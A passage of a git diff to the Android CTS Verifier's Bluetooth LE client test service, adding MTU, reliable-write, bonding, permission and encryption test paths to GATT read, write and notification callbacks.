+                if (BLE_CLIENT_ACTION_REQUEST_MTU_23.equals(mCurrentAction)) {
+                    mtu = 23;
+                } else if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction)) {
+                    mtu = 512;
+                } else {
+                    throw new IllegalStateException("unexpected action: " + mCurrentAction);
+                }
+                mBluetoothGatt.requestMtu(mtu);
+            } else {
+                showMessage("Skip MTU test.");
+                notifyMtuChanged();
+            }
+        }
     }
 
-    private void writeDescriptor(String writeValue) {
-        BluetoothGattDescriptor descriptor = getDescriptor();
-        if (descriptor == null) return;
-        descriptor.setValue(writeValue.getBytes());
-        mBluetoothGatt.writeDescriptor(descriptor);
+    private void writeCharacteristic(BluetoothGattCharacteristic characteristic, String writeValue) {
+        if (characteristic != null) {
+            characteristic.setValue(writeValue);
+            mBluetoothGatt.writeCharacteristic(characteristic);
+        }
     }
 
-    private void readDescriptor() {
-        BluetoothGattDescriptor descriptor = getDescriptor();
-        if (descriptor != null) mBluetoothGatt.readDescriptor(descriptor);
+    private void writeCharacteristic(UUID uid, String writeValue) {
+        BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
+        if (characteristic != null){
+            writeCharacteristic(characteristic, writeValue);
+        }
+    }
+
+    private void readCharacteristic(UUID uuid) {
+        BluetoothGattCharacteristic characteristic = getCharacteristic(uuid);
+        if (characteristic != null) {
+            mBluetoothGatt.readCharacteristic(characteristic);
+        }
+    }
+
+    private void writeDescriptor(UUID uid, String writeValue) {
+        BluetoothGattDescriptor descriptor = getDescriptor(uid);
+        if (descriptor != null) {
+            descriptor.setValue(writeValue.getBytes());
+            mBluetoothGatt.writeDescriptor(descriptor);
+        }
+    }
+
+    private void readDescriptor(UUID uuid) {
+        BluetoothGattDescriptor descriptor = getDescriptor(uuid);
+        if (descriptor != null) {
+            mBluetoothGatt.readDescriptor(descriptor);
+        }
+    }
+
+    private void writeDescriptor(UUID cuid, UUID duid, String writeValue) {
+        BluetoothGattDescriptor descriptor = getDescriptor(cuid, duid);
+        if (descriptor != null) {
+            descriptor.setValue(writeValue.getBytes());
+            mBluetoothGatt.writeDescriptor(descriptor);
+        }
+    }
+
+    private void readDescriptor(UUID cuid, UUID duid) {
+        BluetoothGattDescriptor descriptor = getDescriptor(cuid, duid);
+        if (descriptor != null) {
+            mBluetoothGatt.readDescriptor(descriptor);
+        }
+    }
+
+    private void setNotification(BluetoothGattCharacteristic characteristic, boolean enable) {
+        if (characteristic != null) {
+            mBluetoothGatt.setCharacteristicNotification(characteristic, enable);
+            BluetoothGattDescriptor descriptor = characteristic.getDescriptor(UPDATE_DESCRIPTOR_UUID);
+            if (enable) {
+                if (characteristic.getUuid().equals(INDICATE_CHARACTERISTIC_UUID)) {
+                    descriptor.setValue(BluetoothGattDescriptor.ENABLE_INDICATION_VALUE);
+                } else {
+                    descriptor.setValue(BluetoothGattDescriptor.ENABLE_NOTIFICATION_VALUE);
+                }
+            } else {
+                descriptor.setValue(BluetoothGattDescriptor.DISABLE_NOTIFICATION_VALUE);
+            }
+            mBluetoothGatt.writeDescriptor(descriptor);
+        }
     }
 
     private void setNotification(boolean enable) {
         BluetoothGattCharacteristic characteristic = getCharacteristic(UPDATE_CHARACTERISTIC_UUID);
-        if (characteristic != null)
-            mBluetoothGatt.setCharacteristicNotification(characteristic, enable);
+        if (characteristic != null) {
+            setNotification(characteristic, enable);
+        }
+    }
+
+    private void setNotification(UUID serviceUid, UUID characteristicUid,  boolean enable) {
+        BluetoothGattCharacteristic characteristic = getCharacteristic(serviceUid, characteristicUid);
+        if (characteristic != null) {
+            setNotification(characteristic, enable);
+        }
+    }
+
+    private void setNotification(UUID uid, boolean enable) {
+        BluetoothGattCharacteristic characteristic = getCharacteristic(uid);
+        if (characteristic != null) {
+           setNotification(characteristic, enable);
+        }
     }
 
     private void notifyError(String message) {
         showMessage(message);
+        Log.i(TAG, message);
+
+        Intent intent = new Intent(BLE_CLIENT_ERROR);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchSecure() {
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_SECURE);
+        sendBroadcast(intent);
+    }
+
+    private void notifyMismatchInsecure() {
+        Intent intent = new Intent(BLE_BLUETOOTH_MISMATCH_INSECURE);
+        sendBroadcast(intent);
+    }
+
+    private void notifyBluetoothDisabled() {
+        Intent intent = new Intent(BLE_BLUETOOTH_DISABLED);
+        sendBroadcast(intent);
     }
 
     private void notifyConnected() {
-        showMessage("BLE connected");
+        showMessage("Bluetooth LE connected");
         Intent intent = new Intent(BLE_BLUETOOTH_CONNECTED);
         sendBroadcast(intent);
     }
 
     private void notifyDisconnected() {
-        showMessage("BLE disconnected");
+        showMessage("Bluetooth LE disconnected");
         Intent intent = new Intent(BLE_BLUETOOTH_DISCONNECTED);
         sendBroadcast(intent);
     }
@@ -201,6 +659,18 @@
         sendBroadcast(intent);
     }
 
+    private void notifyMtuChanged() {
+        Intent intent;
+        if (BLE_CLIENT_ACTION_REQUEST_MTU_23.equals(mCurrentAction)) {
+            intent = new Intent(BLE_MTU_CHANGED_23BYTES);
+        } else if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction)) {
+            intent = new Intent(BLE_MTU_CHANGED_512BYTES);
+        } else {
+            throw new IllegalStateException("unexpected action: " + mCurrentAction);
+        }
+        sendBroadcast(intent);
+    }
+
     private void notifyCharacteristicRead(String value) {
         showMessage("Characteristic read: " + value);
         Intent intent = new Intent(BLE_CHARACTERISTIC_READ);
@@ -214,10 +684,39 @@
         sendBroadcast(intent);
     }
 
-    private void notifyCharacteristicChanged(String value) {
-        showMessage("Characteristic changed: " + value);
+    private void notifyCharacteristicReadNoPermission() {
+        showMessage("Characteristic not read: No Permission");
+        Intent intent = new Intent(BLE_CHARACTERISTIC_READ_NOPERMISSION);
+        sendBroadcast(intent);
+    }
+
+    private void notifyCharacteristicWriteNoPermission(String value) {
+        showMessage("Characteristic write: No Permission");
+        Intent intent = new Intent(BLE_CHARACTERISTIC_WRITE_NOPERMISSION);
+        sendBroadcast(intent);
+    }
+
+    private void notifyCharacteristicReadNeedEncrypted(String value) {
+        showMessage("Characteristic read with encrypted: " + value);
+        Intent intent = new Intent(BLE_CHARACTERISTIC_READ_NEED_ENCRYPTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyCharacteristicWriteNeedEncrypted(String value) {
+        showMessage("Characteristic write with encrypted: " + value);
+        Intent intent = new Intent(BLE_CHARACTERISTIC_WRITE_NEED_ENCRYPTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyCharacteristicChanged() {
+        showMessage("Characteristic changed");
         Intent intent = new Intent(BLE_CHARACTERISTIC_CHANGED);
-        intent.putExtra(EXTRA_CHARACTERISTIC_VALUE, value);
+        sendBroadcast(intent);
+    }
+
+    private void notifyCharacteristicIndicated() {
+        showMessage("Characteristic Indicated");
+        Intent intent = new Intent(BLE_CHARACTERISTIC_INDICATED);
         sendBroadcast(intent);
     }
 
@@ -234,12 +733,45 @@
         sendBroadcast(intent);
     }
 
+    private void notifyDescriptorReadNoPermission() {
+        showMessage("Descriptor read: No Permission");
+        Intent intent = new Intent(BLE_DESCRIPTOR_READ_NOPERMISSION);
+        sendBroadcast(intent);
+    }
+
+    private void notifyDescriptorWriteNoPermission() {
+        showMessage("Descriptor write: NoPermission");
+        Intent intent = new Intent(BLE_DESCRIPTOR_WRITE_NOPERMISSION);
+        sendBroadcast(intent);
+    }
+
+    private void notifyDescriptorReadNeedEncrypted(String value) {
+        showMessage("Descriptor read with encrypted: " + value);
+        Intent intent = new Intent(BLE_DESCRIPTOR_READ_NEED_ENCRYPTED);
+        sendBroadcast(intent);
+    }
+
+    private void notifyDescriptorWriteNeedEncrypted(String value) {
+        showMessage("Descriptor write with encrypted: " + value);
+        Intent intent = new Intent(BLE_DESCRIPTOR_WRITE_NEED_ENCRYPTED);
+        sendBroadcast(intent);
+    }
+
     private void notifyReliableWriteCompleted() {
         showMessage("Reliable write compelte");
         Intent intent = new Intent(BLE_RELIABLE_WRITE_COMPLETED);
         sendBroadcast(intent);
     }
 
+    private void notifyReliableWriteBadRespCompleted(String err) {
+        showMessage("Reliable write(bad response) compelte");
+        Intent intent = new Intent(BLE_RELIABLE_WRITE_BAD_RESP_COMPLETED);
+        if (err != null) {
+            intent.putExtra(EXTRA_ERROR_MESSAGE, err);
+        }
+        sendBroadcast(intent);
+    }
+
     private void notifyReadRemoteRssi(int rssi) {
         showMessage("Remote rssi read: " + rssi);
         Intent intent = new Intent(BLE_READ_REMOTE_RSSI);
@@ -247,37 +779,77 @@
         sendBroadcast(intent);
     }
 
-    private BluetoothGattService getService() {
-        if (mBluetoothGatt == null) return null;
+    private BluetoothGattService getService(UUID serverUid) {
+        BluetoothGattService service = null;
 
-        BluetoothGattService service = mBluetoothGatt.getService(SERVICE_UUID);
-        if (service == null) {
-            showMessage("Service not found");
-            return null;
+        if (mBluetoothGatt != null) {
+            service = mBluetoothGatt.getService(serverUid);
+            if (service == null) {
+                showMessage("Service not found");
+            }
         }
         return service;
     }
 
-    private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
-        BluetoothGattService service = getService();
-        if (service == null) return null;
+    private BluetoothGattService getService() {
+        BluetoothGattService service = null;
 
-        BluetoothGattCharacteristic characteristic = service.getCharacteristic(uuid);
-        if (characteristic == null) {
-            showMessage("Characteristic not found");
-            return null;
+        if (mBluetoothGatt != null) {
+            service = mBluetoothGatt.getService(SERVICE_UUID);
+            if (service == null) {
+                showMessage("Service not found");
+            }
+        }
+        return service;
+    }
+
+    private BluetoothGattCharacteristic getCharacteristic(UUID serverUid, UUID characteristicUid) {
+        BluetoothGattCharacteristic characteristic = null;
+
+        BluetoothGattService service = getService(serverUid);
+        if (service != null) {
+            characteristic = service.getCharacteristic(characteristicUid);
+            if (characteristic == null) {
+                showMessage("Characteristic not found");
+            }
+        }
+        return characteristic;
+    }
+    private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {
+        BluetoothGattCharacteristic characteristic = null;
+
+        BluetoothGattService service = getService();
+        if (service != null) {
+            characteristic = service.getCharacteristic(uuid);
+            if (characteristic == null) {
+                showMessage("Characteristic not found");
+            }
         }
         return characteristic;
     }
 
-    private BluetoothGattDescriptor getDescriptor() {
-        BluetoothGattCharacteristic characteristic = getCharacteristic(CHARACTERISTIC_UUID);
-        if (characteristic == null) return null;
+    private BluetoothGattDescriptor getDescriptor(UUID uid) {
+        BluetoothGattDescriptor descriptor = null;
 
-        BluetoothGattDescriptor descriptor = characteristic.getDescriptor(DESCRIPTOR_UUID);
-        if (descriptor == null) {
-            showMessage("Descriptor not found");
-            return null;
+        BluetoothGattCharacteristic characteristic = getCharacteristic(CHARACTERISTIC_UUID);
+        if (characteristic != null) {
+            descriptor = characteristic.getDescriptor(uid);
+            if (descriptor == null) {
+                showMessage("Descriptor not found");
+            }
+        }
+        return descriptor;
+    }
+
+    private BluetoothGattDescriptor getDescriptor(UUID cuid, UUID duid) {
+        BluetoothGattDescriptor descriptor = null;
+
+        BluetoothGattCharacteristic characteristic = getCharacteristic(cuid);
+        if (characteristic != null) {
+            descriptor = characteristic.getDescriptor(duid);
+            if (descriptor == null) {
+                showMessage("Descriptor not found");
+            }
         }
         return descriptor;
     }
@@ -299,141 +871,340 @@
     }
 
     private void reliableWrite() {
+        // aborting test
         mBluetoothGatt.beginReliableWrite();
         sleep(1000);
-        writeCharacteristic(WRITE_VALUE);
-        sleep(1000);
-        if (!mBluetoothGatt.executeReliableWrite()) {
-            Log.w(TAG, "reliable write failed");
-        }
-        sleep(1000);
         mBluetoothGatt.abortReliableWrite();
+
+        // writing test
+        sleep(2000);
+        mBluetoothGatt.beginReliableWrite();
+        sleep(1000);
+
+        if (BLE_CLIENT_ACTION_RELIABLE_WRITE.equals(mCurrentAction)) {
+            mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_WRITE_1ST_DATA;
+            writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE);
+        } else {
+            mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_BAD_RESP;
+            writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE_BAD_RESP);
+        }
     }
 
+    private int mBleState = BluetoothProfile.STATE_DISCONNECTED;
     private final BluetoothGattCallback mGattCallbacks = new BluetoothGattCallback() {
         @Override
         public void onConnectionStateChange(BluetoothGatt gatt, int status, int newState) {
-            if (DEBUG) Log.d(TAG, "onConnectionStateChange");
+            if (DEBUG) Log.d(TAG, "onConnectionStateChange: status= " + status + ", newState= " + newState);
             if (status == BluetoothGatt.GATT_SUCCESS) {
                 if (newState == BluetoothProfile.STATE_CONNECTED) {
-                    notifyConnected();
-                    stopScan();
-                    sleep(1000);
-                    mBluetoothGatt.discoverServices();
+                    mBleState = newState;
+                    int bond = gatt.getDevice().getBondState();
+                    boolean bonded = false;
+                    BluetoothDevice target = gatt.getDevice();
+                    Set<BluetoothDevice> pairedDevices = mBluetoothAdapter.getBondedDevices();
+                    if (pairedDevices.size() > 0) {
+                        for (BluetoothDevice device : pairedDevices) {
+                            if (device.getAddress().equals(target.getAddress())) {
+                                bonded = true;
+                                break;
+                            }
+                        }
+                    }
+                    if (mSecure && ((bond == BluetoothDevice.BOND_NONE) || !bonded)) {
+                        // not pairing and execute Secure Test
+                        mBluetoothGatt.disconnect();
+                        notifyMismatchSecure();
+                    } else if (!mSecure && ((bond != BluetoothDevice.BOND_NONE) || bonded)) {
+                        // already pairing nad execute Insecure Test
+                        mBluetoothGatt.disconnect();
+                        notifyMismatchInsecure();
+                    } else {
+                        notifyConnected();
+                    }
                 } else if (status == BluetoothProfile.STATE_DISCONNECTED) {
+                    mBleState = newState;
+                    mSecure = false;
+                    mBluetoothGatt.close();
                     notifyDisconnected();
                 }
             } else {
-                showMessage("Failed to connect");
+                showMessage("Failed to connect: " + status + " , newState = " + newState);
+                mBluetoothGatt.close();
+                mBluetoothGatt = null;
             }
         }
 
         @Override
         public void onServicesDiscovered(BluetoothGatt gatt, int status) {
-            if (DEBUG) Log.d(TAG, "onServiceDiscovered");
-            if ((status == BluetoothGatt.GATT_SUCCESS) &&
-                (mBluetoothGatt.getService(SERVICE_UUID) != null)) {
+            if (DEBUG){
+                Log.d(TAG, "onServiceDiscovered");
+            }
+            if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID) != null)) {
                 notifyServicesDiscovered();
-                sleep(1000);
-                writeCharacteristic(WRITE_VALUE);
             }
         }
 
         @Override
-        public void onCharacteristicWrite(BluetoothGatt gatt,
-                                          BluetoothGattCharacteristic characteristic, int status) {
+        public void onMtuChanged(BluetoothGatt gatt, int mtu, int status) {
+            super.onMtuChanged(gatt, mtu, status);
+            if (DEBUG){
+                Log.d(TAG, "onMtuChanged");
+            }
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                // verify MTU size
+                int requestedMtu;
+                if (BLE_CLIENT_ACTION_REQUEST_MTU_23.equals(mCurrentAction)) {
+                    requestedMtu = 23;
+                } else if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction)) {
+                    requestedMtu = 512;
+                } else {
+                    throw new IllegalStateException("unexpected action: " + mCurrentAction);
+                }
+                if (mtu != requestedMtu) {
+                    String msg = String.format(getString(R.string.ble_mtu_mismatch_message),
+                            requestedMtu, mtu);
+                    showMessage(msg);
+                }
+
+                // test writing characteristic
+                writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE_512BYTES_FOR_MTU);
+            } else {
+                notifyError("Failed to request mtu: " + status);
+            }
+        }
+
+        @Override
+        public void onCharacteristicWrite(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, final int status) {
             String value = characteristic.getStringValue(0);
-            if (DEBUG) Log.d(TAG, "onCharacteristicWrite: characteristic.val="
-                    + value + " status=" + status);
-            BluetoothGattCharacteristic mCharacteristic = getCharacteristic(CHARACTERISTIC_UUID);
-            if ((status == BluetoothGatt.GATT_SUCCESS) &&
-                (value.equals(mCharacteristic.getStringValue(0)))) {
-                notifyCharacteristicWrite(value);
-                sleep(1000);
-                readCharacteristic();
+            final UUID uid = characteristic.getUuid();
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status);
+            }
+
+            if (BLE_CLIENT_ACTION_REQUEST_MTU_512.equals(mCurrentAction) ||
+                    BLE_CLIENT_ACTION_REQUEST_MTU_23.equals(mCurrentAction)) {
+                if (status == BluetoothGatt.GATT_SUCCESS) {
+                    notifyMtuChanged();
+                } else {
+                    notifyError("Failed to write characteristic: " + status + " : " + uid);
+                }
             } else {
-                notifyError("Failed to write characteristic: " + value);
+                switch (mExecReliableWrite) {
+                    case RELIABLE_WRITE_NONE:
+                        if (status == BluetoothGatt.GATT_SUCCESS) {
+                            if (characteristic.getUuid().equals(CHARACTERISTIC_NEED_ENCRYPTED_WRITE_UUID)) {
+                                notifyCharacteristicWriteNeedEncrypted(value);
+                            } else if (!characteristic.getUuid().equals(CHARACTERISTIC_RESULT_UUID)) {
+                                // verify
+                                if (Arrays.equals(BleClientService.WRITE_VALUE.getBytes(), characteristic.getValue())) {
+                                    notifyCharacteristicWrite(value);
+                                } else {
+                                    notifyError("Written data is not correct");
+                                }
+                            }
+                        } else if (status == BluetoothGatt.GATT_WRITE_NOT_PERMITTED) {
+                            if (uid.equals(CHARACTERISTIC_NO_WRITE_UUID)) {
+                                writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.WRITE_NO_PERMISSION);
+                                notifyCharacteristicWriteNoPermission(value);
+                            } else {
+                                notifyError("Not Permission Write: " + status + " : " + uid);
+                            }
+                        } else if (status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
+                            notifyError("Not Authentication Write: " + status + " : " + uid);
+                        } else {
+                            notifyError("Failed to write characteristic: " + status + " : " + uid);
+                        }
+                        break;
+                    case RELIABLE_WRITE_WRITE_1ST_DATA:
+                        // verify
+                        if (WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE.equals(value)) {
+                            // write next data
+                            mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_WRITE_2ND_DATA;
+                            writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE);
+                        } else {
+                            notifyError("Failed to write characteristic: " + status + " : " + uid);
+                        }
+                        break;
+                    case RELIABLE_WRITE_WRITE_2ND_DATA:
+                        // verify
+                        if (WRITE_VALUE_507BYTES_FOR_RELIABLE_WRITE.equals(value)) {
+                            // execute write
+                            mTaskQueue.addTask(new Runnable() {
+                                @Override
+                                public void run() {
+                                    mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_EXECUTE;
+                                    if (!mBluetoothGatt.executeReliableWrite()) {
+                                        notifyError("reliable write failed");
+                                    }
+                                }
+                            }, 1000);
+                        } else {
+                            notifyError("Failed to write characteristic: " + status + " : " + uid);
+                        }
+                        break;
+                    case RELIABLE_WRITE_BAD_RESP:
+                        mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_NONE;
+                        // verify response
+                        //   Server sends empty response for this test.
+                        //   Response must be empty.
+                        String err = null;
+                        if (!TextUtils.isEmpty(value)) {
+                            err = "response is not empty";
+                            showMessage(err);
+                        }
+                        // finish reliable write
+                        final String errValue = err;
+                        mTaskQueue.addTask(new Runnable() {
+                            @Override
+                            public void run() {
+                                mBluetoothGatt.abortReliableWrite();
+                                notifyReliableWriteBadRespCompleted(errValue);
+                            }
+                        }, 1000);
+                        break;
+                }
             }
         }
 
         @Override
-        public void onCharacteristicRead(BluetoothGatt gatt,
-                                         BluetoothGattCharacteristic characteristic, int status) {
-            if (DEBUG) Log.d(TAG, "onCharacteristicRead");
-            if ((status == BluetoothGatt.GATT_SUCCESS) &&
-                (characteristic.getUuid().equals(CHARACTERISTIC_UUID))) {
-                notifyCharacteristicRead(characteristic.getStringValue(0));
-                sleep(1000);
-                writeDescriptor(WRITE_VALUE);
+        public void onCharacteristicRead(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, int status) {
+            UUID uid = characteristic.getUuid();
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicRead: status=" + status);
+            }
+            if (status == BluetoothGatt.GATT_SUCCESS) {
+                String value = characteristic.getStringValue(0);
+                if (characteristic.getUuid().equals(CHARACTERISTIC_NEED_ENCRYPTED_READ_UUID)) {
+                    notifyCharacteristicReadNeedEncrypted(value);
+                } else {
+                    // verify
+                    if (BleServerService.WRITE_VALUE.equals(value)) {
+                        notifyCharacteristicRead(value);
+                    } else {
+                        notifyError("Read data is not correct");
+                    }
+                }
+            } else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
+                if (uid.equals(CHARACTERISTIC_NO_READ_UUID)) {
+                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.READ_NO_PERMISSION);
+                    notifyCharacteristicReadNoPermission();
+                } else {
+                    notifyError("Not Permission Read: " + status + " : " + uid);
+                }
+            } else if(status == BluetoothGatt.GATT_INSUFFICIENT_AUTHENTICATION) {
+                notifyError("Not Authentication Read: " + status + " : " + uid);
             } else {
-                notifyError("Failed to read characteristic");
+                notifyError("Failed to read characteristic: " + status + " : " + uid);
             }
         }
 
         @Override
-        public void onDescriptorWrite(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
-                                      int status) {
-            if (DEBUG) Log.d(TAG, "onDescriptorWrite");
-            if ((status == BluetoothGatt.GATT_SUCCESS) &&
-                (descriptor.getUuid().equals(DESCRIPTOR_UUID))) {
-                notifyDescriptorWrite(new String(descriptor.getValue()));
-                sleep(1000);
-                readDescriptor();
+        public void onDescriptorWrite(BluetoothGatt gatt, BluetoothGattDescriptor descriptor, int status) {
+            if (DEBUG) {
+                Log.d(TAG, "onDescriptorWrite");
+            }
+            UUID uid = descriptor.getUuid();
+            if ((status == BluetoothGatt.GATT_SUCCESS)) {
+                if (uid.equals(UPDATE_DESCRIPTOR_UUID)) {
+                    Log.d(TAG, "write in update descriptor.");
+                } else if (uid.equals(DESCRIPTOR_UUID)) {
+                    // verify
+                    if (Arrays.equals(WRITE_VALUE.getBytes(), descriptor.getValue())) {
+                        notifyDescriptorWrite(new String(descriptor.getValue()));
+                    } else {
+                        notifyError("Written data is not correct");
+                    }
+                } else if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_WRITE_UUID)) {
+                    notifyDescriptorWriteNeedEncrypted(new String(descriptor.getValue()));
+                }
+            } else if (status == BluetoothGatt.GATT_WRITE_NOT_PERMITTED) {
+                if (uid.equals(DESCRIPTOR_NO_WRITE_UUID)) {
+                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.DESCRIPTOR_WRITE_NO_PERMISSION);
+                    notifyDescriptorWriteNoPermission();
+                } else {
+                    notifyError("Not Permission Write: " + status + " : " + descriptor.getUuid());
+                }
             } else {
                 notifyError("Failed to write descriptor");
             }
         }
 
         @Override
-        public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor,
-                                     int status) {
-            if (DEBUG) Log.d(TAG, "onDescriptorRead");
-            if ((status == BluetoothGatt.GATT_SUCCESS) &&
-                (descriptor.getUuid() != null) &&
-                (descriptor.getUuid().equals(DESCRIPTOR_UUID))) {
-                notifyDescriptorRead(new String(descriptor.getValue()));
-                sleep(1000);
-                setNotification(true);
+        public void onDescriptorRead(BluetoothGatt gatt, BluetoothGattDescriptor descriptor, int status) {
+            if (DEBUG) {
+                Log.d(TAG, "onDescriptorRead");
+            }
+
+            UUID uid = descriptor.getUuid();
+            if ((status == BluetoothGatt.GATT_SUCCESS)) {
+                if ((uid != null) && (uid.equals(DESCRIPTOR_UUID))) {
+                    // verify
+                    if (Arrays.equals(BleServerService.WRITE_VALUE.getBytes(), descriptor.getValue())) {
+                        notifyDescriptorRead(new String(descriptor.getValue()));
+                    } else {
+                        notifyError("Read data is not correct");
+                    }
+                } else if (uid.equals(DESCRIPTOR_NEED_ENCRYPTED_READ_UUID)) {
+                    notifyDescriptorReadNeedEncrypted(new String(descriptor.getValue()));
+                }
+            } else if (status == BluetoothGatt.GATT_READ_NOT_PERMITTED) {
+                if (uid.equals(DESCRIPTOR_NO_READ_UUID)) {
+                    writeCharacteristic(getCharacteristic(CHARACTERISTIC_RESULT_UUID), BleServerService.DESCRIPTOR_READ_NO_PERMISSION);
+                    notifyDescriptorReadNoPermission();
+                } else {
+                    notifyError("Not Permission Read: " + status + " : " + descriptor.getUuid());
+                }
             } else {
-                notifyError("Failed to read descriptor");
+                notifyError("Failed to read descriptor: " + status);
             }
         }
 
         @Override
-        public void onCharacteristicChanged(BluetoothGatt gatt,
-                                            BluetoothGattCharacteristic characteristic) {
-            if (DEBUG) Log.d(TAG, "onCharacteristicChanged");
-            if ((characteristic.getUuid() != null) &&
-                (characteristic.getUuid().equals(UPDATE_CHARACTERISTIC_UUID))) {
-                notifyCharacteristicChanged(characteristic.getStringValue(0));
-                setNotification(false);
-                sleep(1000);
-                mBluetoothGatt.readRemoteRssi();
+        public void onCharacteristicChanged(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic) {
+            UUID uid = characteristic.getUuid();
+            if (DEBUG) {
+                Log.d(TAG, "onCharacteristicChanged: " + uid);
+            }
+            if (uid != null) {
+                if (uid.equals(INDICATE_CHARACTERISTIC_UUID)) {
+                    setNotification(characteristic, false);
+                    notifyCharacteristicIndicated();
+                } else {
+                    mNotifyCount--;
+                    setNotification(characteristic, false);
+                    if (mNotifyCount == 0) {
+                        notifyCharacteristicChanged();
+                    }
+                }
             }
         }
 
         @Override
         public void onReliableWriteCompleted(BluetoothGatt gatt, int status) {
-            if (DEBUG) Log.d(TAG, "onReliableWriteComplete: " + status);
-            if (status == BluetoothGatt.GATT_SUCCESS) {
-                notifyReliableWriteCompleted();
-            } else {
-                notifyError("Failed to complete reliable write: " + status);
+            if (DEBUG) {
+                Log.d(TAG, "onReliableWriteComplete: " + status);
             }
-            sleep(1000);
-            mBluetoothGatt.disconnect();
+
+            if (mExecReliableWrite != ReliableWriteState.RELIABLE_WRITE_NONE) {
+                if (status == BluetoothGatt.GATT_SUCCESS) {
+                    notifyReliableWriteCompleted();
+                } else {
+                    notifyError("Failed to complete reliable write: " + status);
+                }
+                mExecReliableWrite = ReliableWriteState.RELIABLE_WRITE_NONE;
+            }
         }
 
         @Override
         public void onReadRemoteRssi(BluetoothGatt gatt, int rssi, int status) {
-            if (DEBUG) Log.d(TAG, "onReadRemoteRssi");
+            if (DEBUG) {
+                Log.d(TAG, "onReadRemoteRssi");
+            }
             if (status == BluetoothGatt.GATT_SUCCESS) {
                 notifyReadRemoteRssi(rssi);
             } else {
                 notifyError("Failed to read remote rssi");
             }
-            sleep(1000);
-            reliableWrite();
         }
     };
 
@@ -441,7 +1212,33 @@
         @Override
         public void onScanResult(int callbackType, ScanResult result) {
             if (mBluetoothGatt == null) {
-                mBluetoothGatt = result.getDevice().connectGatt(mContext, false, mGattCallbacks);
+                // verify the validity of the advertisement packet.
+                mValidityService = false;
+                List<ParcelUuid> uuids = result.getScanRecord().getServiceUuids();
+                for (ParcelUuid uuid : uuids) {
+                    if (uuid.getUuid().equals(BleServerService.ADV_SERVICE_UUID)) {
+                        mValidityService = true;
+                        break;
+                    }
+                }
+                if (mValidityService) {
+                    stopScan();
+
+                    BluetoothDevice device = result.getDevice();
+                    if (mSecure) {
+                        if (device.getBondState() != BluetoothDevice.BOND_BONDED) {
+                            if (!device.createBond()) {
+                                notifyError("Failed to call create bond");
+                            }
+                        } else {
+                            mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);
+                        }
+                    } else {
+                        mBluetoothGatt = connectGatt(result.getDevice(), mContext, false, mSecure, mGattCallbacks);
+                    }
+                } else {
+                    notifyError("There is no validity to Advertise servie.");
+                }
             }
         }
     };
@@ -457,6 +1254,40 @@
 
     private void stopScan() {
         if (DEBUG) Log.d(TAG, "stopScan");
-        mScanner.stopScan(mScanCallback);
+        if (mScanner != null) {
+            mScanner.stopScan(mScanCallback);
+        }
     }
+
+    private static String createTestData(int length) {
+        StringBuilder builder = new StringBuilder();
+        builder.append("REQUEST_MTU");
+        int len = length - builder.length();
+        for (int i = 0; i < len; ++i) {
+            builder.append(""+(i%10));
+        }
+        return builder.toString();
+    }
+
+    private final BroadcastReceiver mBondStatusReceiver = new BroadcastReceiver() {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if (intent.getAction().equals(BluetoothDevice.ACTION_BOND_STATE_CHANGED)) {
+                BluetoothDevice device = intent.getParcelableExtra(BluetoothDevice.EXTRA_DEVICE);
+                int state = intent.getIntExtra(BluetoothDevice.EXTRA_BOND_STATE, BluetoothDevice.BOND_NONE);
+                switch (state) {
+                    case BluetoothDevice.BOND_BONDED:
+                        mBluetoothGatt = connectGatt(device, mContext, false, mSecure, mGattCallbacks);
+                        break;
+                    case BluetoothDevice.BOND_NONE:
+                        notifyError("Failed to create bond.");
+                        break;
+                    case BluetoothDevice.BOND_BONDING:
+                    default:    // fall through
+                        // wait for next state
+                        break;
+                }
+            }
+        }
+    };
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientStartActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientStartActivity.java
deleted file mode 100644
index 5a4e327..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleClientStartActivity.java
+++ /dev/null
@@ -1,147 +0,0 @@
-/*
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
